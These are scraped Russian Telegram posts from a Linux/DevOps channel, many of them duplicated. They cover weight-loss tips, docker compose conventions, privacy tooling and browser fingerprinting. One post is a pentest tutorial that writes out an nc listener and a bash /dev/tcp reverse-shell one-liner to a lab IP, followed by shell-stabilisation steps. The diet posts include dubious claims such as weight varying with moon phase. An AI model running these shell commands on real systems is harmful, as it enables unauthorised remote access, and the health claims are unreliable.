* Взвешиваться нужно каждое утро. В одно и то же время. Я взвешиваюсь перед завтраком. В это время вес минимальный за сутки :-)
* Некоторые китайские весы запоминают последний вес. И если новый отличается от старого меньше чем +/- 300 гр - показывают предыдущий (типа очень точные. Хреновы маркетологи). Решается взвешиваем другого веса или взвешиванием после ужина (без учета результата).
* Разница в весе между вечером и утром может быть 1 кг (вода и углекислый газ)
* Вес может меняться +/- 1кг в течении месяца в зависимости от фазы луны. И это не приливы.
* При длительном (более 6 месяцев)стабильном весе съесть можно все: торт, пирожки, конфеты, шашлык, но однократно, и с ежедневным контролем веса.
* Если съесть соленое/кислое или арбуз - вес утром может быть +2-3 кг. Но это проходит за два-три дня. Если не проходит - нужно провести ретроспективный анализ и устранить причину.
* При стабильном весе балансировка веса - ужином. На 200гр воды (одна, две (норма) или три столовые ложки с горкой) овсянки c яблоком/бананом на воде.
* Завтрак в 6:30 второй завтрак в 10:40 (только стакан киселя) обед 13:30 ужин в 17:00.
* Снижать вес трудно. Поддерживать - нет.
* Беговая дорожка каждый день в 20:00 (быстрый шаг 5.5-6.5 км/ч 20-30 мин с разминкой и заминкой) уменьшает и калории и чувство голода.
* сон 22:00.
ㅤ
Побочные эффекты:
* Летом - сильная экономия на дезодорантах и порошке для стирки.
* Штаны не протираются между ног. Каблуки в обуви не проваливаются.
* Придется полностью сменить гардероб. Я сменил не только рубашки/брюки но и обувь!!!
* На пятый этаж можно подняться даже не сбив дыхание.
* Походы к вертеброневрологу не нужны.
Всем здоровья.
🛠 #рабочиебудни
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Первая часть здесь
Ну, и теперь просто несколько личных фактов про похудение:
* При очень быстром похудении может быть холодно. Падает температура тела (у меня по утрам была 35). Это не хорошо. Влияет на жизнедеятельность бактерий внутри.
* Если не есть овощи/фрукты и йогурт/кефир могут возникнуть проблемы с пищеварением.
* Некоторые фрукты с "вяжущим" вкусом лучше исключить на время снижения веса. Например незрелые груши, айва, хурма.
* Морковь нужно есть со столовой ложкой растительного масла. (желательно чуть отварить или протушить)
* Если хочется чая/кофе, то на самом деле мозг требует сахара. Попробуйте выпить чай/кофе/воду пару раз без сахара, и желание что-нибудь выпить быстро пропадет.
* Если съесть/выпить сладкое - есть хочется значительно сильнее, чем раньше.
* Если вышел из-за стола с чувством, что наелся - значит переел.
* Оглянитесь, есть ли в вашем окружении "пушеры" (люди которые предлагают/подбивают съесть лишнего или ненужного). Минимизируйте общение с ними.
* Взвешиваться нужно каждое утро. В одно и то же время. Я взвешиваюсь перед завтраком. В это время вес минимальный за сутки :-)
* Некоторые китайские весы запоминают последний вес. И если новый отличается от старого меньше чем +/- 300 гр - показывают предыдущий (типа очень точные. Хреновы маркетологи). Решается взвешиваем другого веса или взвешиванием после ужина (без учета результата).
* Разница в весе между вечером и утром может быть 1 кг (вода и углекислый газ)
* Вес может меняться +/- 1кг в течении месяца в зависимости от фазы луны. И это не приливы.
* При длительном (более 6 месяцев)стабильном весе съесть можно все: торт, пирожки, конфеты, шашлык, но однократно, и с ежедневным контролем веса.
* Если съесть соленое/кислое или арбуз - вес утром может быть +2-3 кг. Но это проходит за два-три дня. Если не проходит - нужно провести ретроспективный анализ и устранить причину.
* При стабильном весе балансировка веса - ужином. На 200гр воды (одна, две (норма) или три столовые ложки с горкой) овсянки c яблоком/бананом на воде.
* Завтрак в 6:30 второй завтрак в 10:40 (только стакан киселя) обед 13:30 ужин в 17:00.
* Снижать вес трудно. Поддерживать - нет.
* Беговая дорожка каждый день в 20:00 (быстрый шаг 5.5-6.5 км/ч 20-30 мин с разминкой и заминкой) уменьшает и калории и чувство голода.
* сон 22:00.
ㅤ
Побочные эффекты:
* Летом - сильная экономия на дезодорантах и порошке для стирки.
* Штаны не протираются между ног. Каблуки в обуви не проваливаются.
* Придется полностью сменить гардероб. Я сменил не только рубашки/брюки но и обувь!!!
* На пятый этаж можно подняться даже не сбив дыхание.
* Походы к вертеброневрологу не нужны.
Всем здоровья.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
6 139
Стабилизация реверс-шелла
Во время создания реверс шелла, управлять этим шеллом прям больно, привычные терминальные команды работают неадекватно. Сейчас покажу, как пентестеры приводят такой шелл к нормальному виду.
ㅤ
Для начала на своей машине запускаем:
Этой командой мы откроем порт
Теперь на подопытной машине запускаем:
Возвращаемся на свою машину и видим, что коннект произошел:
Отлично. Пробуем нажать
Стабилизируем shell
Отправляем консоль в бекграунд, нажимаем
Возвращаемся:
Нажимаем:
На этом всё! Теперь наш реверс-шелл полностью стабилен, можем пользоваться им в своё удовольствие, все привычные команды и сочетания работают отлично, артефакты не лезут.
Вроде мелочь, но в своё время кровушки многим попило, да чё юлить, сейчас молодежь которая встала на путь поиска уязвимостей с этим постоянно сталкивается. И что интересно на курсах про «стабилизацию шелла» никогда не рассказывают.
Вот такие пироги, изучай. Больше про реверс-шеллы, можешь почитать тут:
- Практикуем reverse-shells
- Генератор reverse-shells
🛠 #security #linux
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Во время создания реверс шелла, управлять этим шеллом прям больно, привычные терминальные команды работают неадекватно. Сейчас покажу, как пентестеры приводят такой шелл к нормальному виду.
ㅤ
Для начала на своей машине запускаем:
nc -lvnp 2288
Этой командой мы откроем порт
2288 на прослушивание, будем ждать входящее соединение. IP этой машины у меня 192.168.10.24.Теперь на подопытной машине запускаем:
/bin/bash -i >& /dev/tcp/192.168.10.24/2288 0>&1
Возвращаемся на свою машину и видим, что коннект произошел:
root@n8n:~# nc -lvnp 2288
Listening on 0.0.0.0 2288
Connection received on 192.168.10.31 47504
root@onlyoffice:~#
Отлично. Пробуем нажать
CTRL+L, для очистки экрана. Ага, хуй там плавал, видим только, что выводятся управляемые символы L^, аналогично не получится нажать CTRL+C и т.п.Стабилизируем shell
script /dev/null -c /bin/bash
Отправляем консоль в бекграунд, нажимаем
CTRL+Zroot@onlyoffice:~# ^Z
[1]+ Stopped nc -lvnp 2288
Возвращаемся:
stty raw -echo; fg
Нажимаем:
ENTERexport TERM=xterm
На этом всё! Теперь наш реверс-шелл полностью стабилен, можем пользоваться им в своё удовольствие, все привычные команды и сочетания работают отлично, артефакты не лезут.
Вроде мелочь, но в своё время кровушки многим попило, да чё юлить, сейчас молодежь которая встала на путь поиска уязвимостей с этим постоянно сталкивается. И что интересно на курсах про «стабилизацию шелла» никогда не рассказывают.
Вот такие пироги, изучай. Больше про реверс-шеллы, можешь почитать тут:
- Практикуем reverse-shells
- Генератор reverse-shells
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 63
Интимность данных
Как мы знаем, любая операционная система что-то куда-то шлет, шпионит, собирает данные. Потом этими данными начинают жонглировать всякие мастодонты вроде гуглахлама, мягкософта, аппла и т.п.
ㅤ
В лучшем случае тебе покажут таргетированную рекламу, в худшем сольют по первому звоночку всю твою подноготную всяким секрет малдерам и фибиэрам. И узнаешь ты это не сразу, а спустя 2-3 года, а возможно и не узнаешь.
Возможно кто-то из вас получал подобные письма (Google received and responded to a legal process issued by the…) и знает это ощущение безысходности. Да, похоже на фейк (2018 года) и фишинг, но увы всё по настоящему. Поищи в сети если интересно, много таких случаев как оказалось.
Ебала рыба озеро!😲
Лишь только по этим причинам я полностью выпилился из гугла и его сервисов. Про этот большой пиздец-переезд я запилю отдельный пост, было очень познавательно и увлекательно, особенно со смартфоном. Ладно, теперь по теме поста.
Сегодня речь про Privacy Sexy. Кроссплатформенная забияка, с открытым git репозиторием и возможностью установить на машину как отдельное приложение либо использовать через веб.
Ты просто выбираешь нужные галочки, а справа получаешь готовые скрипты, которые нужно запустить. Да, под Linux и Mac это будут именно Bash скрипты. Это отличная возможность посмотреть в кишочки и забрать какие-то идеи в свои проекты.
Что внутри:
- Больше 5 сотен скриптов/настроек, которые уменьшают телеметрию, отключают лишние сервисы, усиливают безопасность и приватность.
- Есть графическое приложение (desktop) и веб-версия.
- Всё прозрачно — видно, что именно делает каждый твик/скрипт.
- Обратимость — можно откатить изменения (revert).
- Полный open-source, лицензия AGPL-3.0.
Важно и ценно — в отличие от рандомных «батников» из интернета, privacy.sexy показывает, какие именно изменения будут сделаны и генерирует скрипты прозрачно.
Пользуйся на здоровье, это лучше всяких бинарных твиков!
🛠 #security #privacy
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Как мы знаем, любая операционная система что-то куда-то шлет, шпионит, собирает данные. Потом этими данными начинают жонглировать всякие мастодонты вроде гуглахлама, мягкософта, аппла и т.п.
ㅤ
В лучшем случае тебе покажут таргетированную рекламу, в худшем сольют по первому звоночку всю твою подноготную всяким секрет малдерам и фибиэрам. И узнаешь ты это не сразу, а спустя 2-3 года, а возможно и не узнаешь.
Как говорил мой знакомый — да кому мы нужны, все наши данные давно уже гуляют по сети. Но когда он узнал, что гугол взял его учетку (со всем содержимым и метаданными) и просто отдал третьим лицам на изучение — начинаешь задумываться, причем становится по настоящему жутковато.
Возможно кто-то из вас получал подобные письма (Google received and responded to a legal process issued by the…) и знает это ощущение безысходности. Да, похоже на фейк (2018 года) и фишинг, но увы всё по настоящему. Поищи в сети если интересно, много таких случаев как оказалось.
Ебала рыба озеро!
Лишь только по этим причинам я полностью выпилился из гугла и его сервисов. Про этот большой пиздец-переезд я запилю отдельный пост, было очень познавательно и увлекательно, особенно со смартфоном. Ладно, теперь по теме поста.
Сегодня речь про Privacy Sexy. Кроссплатформенная забияка, с открытым git репозиторием и возможностью установить на машину как отдельное приложение либо использовать через веб.
Этот проект помогает включать/отключать privacy и security настройки в Windows / macOS / Linux с помощью готовых «твиков» и скриптов.
Ты просто выбираешь нужные галочки, а справа получаешь готовые скрипты, которые нужно запустить. Да, под Linux и Mac это будут именно Bash скрипты. Это отличная возможность посмотреть в кишочки и забрать какие-то идеи в свои проекты.
Что внутри:
- Больше 5 сотен скриптов/настроек, которые уменьшают телеметрию, отключают лишние сервисы, усиливают безопасность и приватность.
- Есть графическое приложение (desktop) и веб-версия.
- Всё прозрачно — видно, что именно делает каждый твик/скрипт.
- Обратимость — можно откатить изменения (revert).
- Полный open-source, лицензия AGPL-3.0.
Важно и ценно — в отличие от рандомных «батников» из интернета, privacy.sexy показывает, какие именно изменения будут сделаны и генерирует скрипты прозрачно.
Пользуйся на здоровье, это лучше всяких бинарных твиков!
Ну и не храни на гугол драйве своё хоум-видео с пылесос-отсосом, неровен час сам станешь звездой такого эпизода на которую однажды будут дрочить малдеры с дикого запада.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
10 60
Многих эта тема обошла стороной, дело привычки берет своё.
ㅤ
Я про
Современный docker давно перешел на
Теперь docker в приоритете ищет файл
Наверное ты уже замечал, что если в
Это нужно было указывать раньше, чтобы docker понимал какие поля разрешены и как вообще интерпретировать файл. Теперь это легаси и docker автоматически определяет версию, чтобы избавиться от зоопарка версий: v2, v2, v3.7, v3.9. Получаем один формат → одна логика → меньше гемора.
Но опять же если у тебя древняя ОС, выбора особо не будет, придется прописывать версии и поддерживать это наследие.
Пример с version или подстава. Создавалась это не для docker compose, а для docker swarm. В
Хм… 512 говоришь, хуй те! Эй OOM давай к нам, у нас тут пациент!
Ну и про
На сколько помню
Возможно ошибаюсь, поправьте в комментах.
🛠 #docker #linux #devops
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Я про
docker-compose.yaml. Так вот, в современных дистрибутивах не обязательно называть так файл, достаточно обозвать его compose.yaml и всё будет работать. Но при условии если у тебя не допотопная ОС со старой версией docker’a.Современный docker давно перешел на
compose.yaml. docker-compose — это отдельный python-инструмент
docker compose — встроенный плагин docker cli
Теперь docker в приоритете ищет файл
compose.yaml и только потом старый docker-compose.yaml. И так и так все будет работать. Оно пока на это не ругается, но рано или поздно к этому придут. Наверное ты уже замечал, что если в
yaml указать version: 3.9 оно скажет — ты ебанутый? Я пожалуй это проигнорирую.Это нужно было указывать раньше, чтобы docker понимал какие поля разрешены и как вообще интерпретировать файл. Теперь это легаси и docker автоматически определяет версию, чтобы избавиться от зоопарка версий: v2, v2, v3.7, v3.9. Получаем один формат → одна логика → меньше гемора.
Кстати аналогичная хуйня в кубере, где версию апихи указываешь в манифестах. Если ты не знаешь как с этим работать, будет тебе боль и страдания. За эту тему поговорим отдельно.
Но опять же если у тебя древняя ОС, выбора особо не будет, придется прописывать версии и поддерживать это наследие.
Пример с version или подстава. Создавалась это не для docker compose, а для docker swarm. В
version:3 Docker Compose просто молча игнорировал: mem_limit, cpu_shares, cpus, restart_policy, depends_on. Не было ни ошибок, ни предупреждений. Просто ничего не происходило. Контейнер запускался, но не как ожидалось.version: "3"
mem_limit: 512m
Хм… 512 говоришь, хуй те! Эй OOM давай к нам, у нас тут пациент!
version:3 — Swarm-спекаНу и про
yaml и yml пару строк. Можно писать так и так, оба варианта равноправны. Но всё же рекомендуется yaml, потому что это полное официальное расширение, так пишется в спецификациях и документациях. Плюсом это единый стиль Kubernetes, GitHub Actions, Helm и т.п.На сколько помню
yml пошел со старых систем, когда было ограничение в 3 символа, опять же наследие прошлого. Возможно ошибаюсь, поправьте в комментах.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 57
Как тебя вычисляют по шрифтам
Гугловский пробив по кукисам это классика, но это не единственный механизм сопоставления. Сегодня рассмотрим browser fingerprint (fonts).
ㅤ
Пробежимся по кукисам.
Практически на каждом сайте, установлен анальный-зонд с маркировками: Google Analytics, Google Ads, YouTube embed, reCAPTCHA и т.п. То есть страница сайта подгружает внешние скрипты и код с доменов гугла.
Когда ты заходишь на такой сайт, браузер отправляет кукисы в гугол, в них будет информация: твой id (у тебя будет один и тот же для разных сайтов), с какого сайта ты пришел, ip, браузер, время, язык, локация и т.п.
Короче в эту клоаку уходит максимальное количество данных, которое можно от тебя получить. Ну а дальше тебе подсовывают рекламу — ага, этот чёрт читал про «ипотеку», давай заскамим его таргетированными предложениями про ипотеку.
Что же такое fonts fingerprint?
Это как тест ДНК, который даёт до 99% совпадения. Шрифт это как паспорт. У каждого пользователя свой, уникальный набор шрифтов. Даже если ты отключишь кукисы, у гугла есть другие инструменты для слежки: разрешение экранов, шрифты, webgl, canvas, timezone, ip + поведение.
Кстати «режим инкогнито» не спасёт, это — миф. В этом режиме браузер не сохраняет историю, не сохраняет кукисы после закрытия. ВСЁ! Куки это верхушка айсберга, все остальные методы скрыты под капотом.
Как работает классический font fingerprint:
Я подготовил страничку, в ней содержится как раз такой детект по шрифтам и канвасу. Открой её в браузере, а потом открой в «инкогнито» и ты сильно удивишься. Шрифты и хеш канваса будут идентичные.
Даже если открыть страницу в другом браузере, Canvas Hash в большинстве случаев будет идентичен. Для чистоты эксперимента, открой страничку в ТОR браузере и ты увидишь, что набор шрифтов поменялся, да и canvas hash протух.
Идея метода: берем текст, рисуем его с базовым шрифтом (serif / sans-serif), тестируемым шрифтом + fallback, сравниваем размеры, если размеры изменились — шрифт установлен в системе.
И по итогу мы имеем паспорт пользователя: шрифты = ОС + язык + софт. Шрифты меняются редко, уникальность очень высокая, не ломаются при включении VPN / Инкогнито.
А чё делать?
Использовать разные браузеры под разные задачи. Один браузер чисто для гугла (но рекомендую вообще снести учетку и сделать чисто под ютуб), второй для сёрфинга, третий для просмотра порнушки.
На рынке много антидетект браузеров, один из лидеров это LibreWolf. Этот браузер (Firefox на стероидах приватности) подсовывает одинаковый виртуальный набор, ломает измерения, возвращает одинаковые размеры, добавляешь шум.
LibreWolf не делает «рандом», он делает массовую «одинаковость». То есть условно у 100 пользователей, которые пользуются этим браузером, будут идентичные данные. А среди 100 таких пользователей, тебя сложно идентифицировать — ты одинаковый. Чем больше уникальности, тем легче тебя узнать.
Но ты всё равно спалишься, если залогинишься в гугле, либо будешь использовать этот браузер под разные задачи в рамках одной сессии.
Чтобы скрыться, одного браузера мало, приватность это комплексная мера. По мере моей лени, буду накидывать подобные темы и снимать с тебя розовые очки.
Ну а ты пока переваривай весь этот пиздец. Дальше затрем за Cloudflare и его приколы.
🛠 #security #privacy
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Гугловский пробив по кукисам это классика, но это не единственный механизм сопоставления. Сегодня рассмотрим browser fingerprint (fonts).
ㅤ
Пробежимся по кукисам.
Практически на каждом сайте, установлен анальный-зонд с маркировками: Google Analytics, Google Ads, YouTube embed, reCAPTCHA и т.п. То есть страница сайта подгружает внешние скрипты и код с доменов гугла.
Когда ты заходишь на такой сайт, браузер отправляет кукисы в гугол, в них будет информация: твой id (у тебя будет один и тот же для разных сайтов), с какого сайта ты пришел, ip, браузер, время, язык, локация и т.п.
Короче в эту клоаку уходит максимальное количество данных, которое можно от тебя получить. Ну а дальше тебе подсовывают рекламу — ага, этот чёрт читал про «ипотеку», давай заскамим его таргетированными предложениями про ипотеку.
Если ты залогинен в гугле и гуляешь в этом же браузере по другим сайтам — гугл это знает. Мало того, при любом звоночке, он без раздумий передаст эту информацию «малдерам».
Звучит как сказка, но у гугла есть статистика сколько они слили данных по таким запросам. И да, когда ты с закрытыми глазами принимал «лицензионное соглашение», в нём все это оговаривалось.
Что же такое fonts fingerprint?
Это как тест ДНК, который даёт до 99% совпадения. Шрифт это как паспорт. У каждого пользователя свой, уникальный набор шрифтов. Даже если ты отключишь кукисы, у гугла есть другие инструменты для слежки: разрешение экранов, шрифты, webgl, canvas, timezone, ip + поведение.
Кстати «режим инкогнито» не спасёт, это — миф. В этом режиме браузер не сохраняет историю, не сохраняет кукисы после закрытия. ВСЁ! Куки это верхушка айсберга, все остальные методы скрыты под капотом.
Fingerprint это корреляция десятков сигналов во времени.
Как работает классический font fingerprint:
Я подготовил страничку, в ней содержится как раз такой детект по шрифтам и канвасу. Открой её в браузере, а потом открой в «инкогнито» и ты сильно удивишься. Шрифты и хеш канваса будут идентичные.
Даже если открыть страницу в другом браузере, Canvas Hash в большинстве случаев будет идентичен. Для чистоты эксперимента, открой страничку в ТОR браузере и ты увидишь, что набор шрифтов поменялся, да и canvas hash протух.
Идея метода: берем текст, рисуем его с базовым шрифтом (serif / sans-serif), тестируемым шрифтом + fallback, сравниваем размеры, если размеры изменились — шрифт установлен в системе.
И по итогу мы имеем паспорт пользователя: шрифты = ОС + язык + софт. Шрифты меняются редко, уникальность очень высокая, не ломаются при включении VPN / Инкогнито.
fonts + canvas + webgl ≈ уникальность > 99%
А чё делать?
Использовать разные браузеры под разные задачи. Один браузер чисто для гугла (но рекомендую вообще снести учетку и сделать чисто под ютуб), второй для сёрфинга, третий для просмотра порнушки.
На рынке много антидетект браузеров, один из лидеров это LibreWolf. Этот браузер (Firefox на стероидах приватности) подсовывает одинаковый виртуальный набор, ломает измерения, возвращает одинаковые размеры, добавляешь шум.
Отключает webgl fingerprint, режет canvas, нормализует timezone, screen size, locale, отключает webrtc leak, блокирует third-party cookies, выключает телеметрию Mozilla, ломает high-entropy сигналы, всегда врёт одинаково.
LibreWolf не делает «рандом», он делает массовую «одинаковость». То есть условно у 100 пользователей, которые пользуются этим браузером, будут идентичные данные. А среди 100 таких пользователей, тебя сложно идентифицировать — ты одинаковый. Чем больше уникальности, тем легче тебя узнать.
Но ты всё равно спалишься, если залогинишься в гугле, либо будешь использовать этот браузер под разные задачи в рамках одной сессии.
Чтобы скрыться, одного браузера мало, приватность это комплексная мера. По мере моей лени, буду накидывать подобные темы и снимать с тебя розовые очки.
Ну а ты пока переваривай весь этот пиздец. Дальше затрем за Cloudflare и его приколы.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
4 85